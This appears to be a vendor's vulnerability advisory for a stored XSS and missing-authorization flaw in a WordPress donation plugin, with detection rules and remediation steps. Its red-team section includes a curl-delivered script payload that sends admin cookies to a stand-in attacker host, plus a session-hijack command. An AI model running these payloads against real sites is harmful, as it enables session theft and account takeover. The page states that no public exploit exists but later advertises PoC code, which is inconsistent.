CVE-2025-23656
Executive Summary
CVE-2025-23656 is a Missing Authorization vulnerability in the Donate visa WordPress plugin (versions <= 1.0.0) developed by Saul Morales Pacheco. The flaw allows an unauthenticated attacker to inject and store malicious scripts (Stored XSS) via the plugin's donation functionality. Since the plugin lacks proper authorization checks, any visitor can submit arbitrary data that gets stored and later executed in the context of an administrator's browser session. This can lead to session hijacking, defacement, or credential theft. The vulnerability is classified as Medium severity (CVSS 6.5) and currently has no known patch or public exploit code.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users who have installed donate-visa version 1.0.0 or earlier are at risk. No patched version has been released, and the plugin may have been removed or abandoned. Organizations should treat this as a supply chain risk and remove the plugin immediately.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must visit the affected page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No direct impact on availability.
CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation is straightforward but requires user interaction.
Deep Dive & Mechanics
The vulnerability resides in the Donate visa WordPress plugin, which provides a donation form for accepting Visa payments. The plugin fails to enforce proper authorization checks on its AJAX endpoints or form submission handlers. An attacker can craft a malicious donation request containing JavaScript payloads in fields such as donor_name, message, or amount. Because the plugin does not sanitize or validate these inputs before storing them in the WordPress database, the payload is persisted.
When an administrator views the donation history or dashboard page, the stored payload executes in their browser. This is a classic Stored Cross-Site Scripting (XSS) attack, exacerbated by the missing authorization – meaning no user role or capability check is performed before processing the request.
Attack Flow:
- Attacker identifies a WordPress site running
donate-visa<= 1.0.0. - Attacker submits a donation form with a malicious payload (e.g.,
<script>alert('XSS')</script>) in a text field. - The plugin stores the payload in the
wp_postmetaor custom table without sanitization. - Administrator visits the "Donations" admin page.
- The payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or inject further malicious content.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable plugin likely uses $_POST or $_REQUEST directly without calling sanitize_text_field() or wp_kses_post().
Vulnerable Code (hypothetical):
add_action('wp_ajax_nopriv_donate_visa_submit', 'handle_donation');
function handle_donation() {
$donor_name = $_POST['donor_name'];
// No authorization check
// No sanitization
update_post_meta($donation_id, 'donor_name', $donor_name);
}
Patched Code (hypothetical):
add_action('wp_ajax_nopriv_donate_visa_submit', 'handle_donation');
function handle_donation() {
// Add nonce check for authorization
if (!wp_verify_nonce($_POST['_wpnonce'], 'donate_visa_nonce')) {
wp_die('Unauthorized');
}
// Sanitize input
$donor_name = sanitize_text_field($_POST['donor_name']);
update_post_meta($donation_id, 'donor_name', $donor_name);
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with
donate-visaplugin version <= 1.0.0. - No authentication required.
Step 1: Identify the vulnerable endpoint.
Use a browser or curl to find the donation form action. Typically, it will be wp-admin/admin-ajax.php with action donate_visa_submit.
Step 2: Craft the payload.
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=donate_visa_submit&donor_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&amount=10&message=test"
Step 3: Wait for admin to visit the dashboard. The payload will execute, exfiltrating the admin's session cookie.
Step 4: Use the stolen cookie to hijack the session.
curl -H "Cookie: wordpress_logged_in_xxx=STOLEN_COOKIE" http://target.com/wp-admin/
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual POST requests to
admin-ajax.phpwith actiondonate_visa_submitfrom unauthenticated users. - Look for script tags in donation-related fields in the database.
Prevention:
- Immediately remove or disable the
donate-visaplugin. - Implement a Web Application Firewall (WAF) rule to block requests containing
<script>in donation fields. - Use Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin-ajax.phpwithaction=donate_visa_submitand suspicious parameters. - File: Presence of
donate-visaplugin directory in/wp-content/plugins/donate-visa/. - Database: Entries in
wp_postmetawith meta_key containingdonor_nameand meta_value containing<script>tags. - Logs: WordPress debug log entries showing unserialized or unsanitized input.
Detection Engineering
YARA Rule
rule Detect_Donate_Visa_XSS {
meta:
description = "Detects stored XSS payloads in Donate visa plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-23656"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$plugin_path = "donate-visa"
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Stored XSS via Donate Visa Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts targeting the Donate visa plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=donate_visa_submit'
cs-uri-query|contains: '<script'
condition: selection
falsepositives:
- Legitimate donation messages containing HTML (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-23656 Stored XSS in Donate Visa Plugin"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=donate_visa_submit"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Remove the plugin: Delete the
donate-visadirectory from/wp-content/plugins/. - Scan for compromise: Check for unauthorized admin accounts, suspicious posts, or injected JavaScript.
- Rotate credentials: Change all WordPress admin passwords and application passwords.
Long-term Mitigation:
- No patch available: Since the vendor has not released a fix, the plugin should be considered abandoned. Do not use it.
- Alternative plugin: Use a well-maintained donation plugin like "GiveWP" or "WP Charitable".
- Security hardening: Implement a WAF, enable CSP headers, and enforce input sanitization on all forms.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.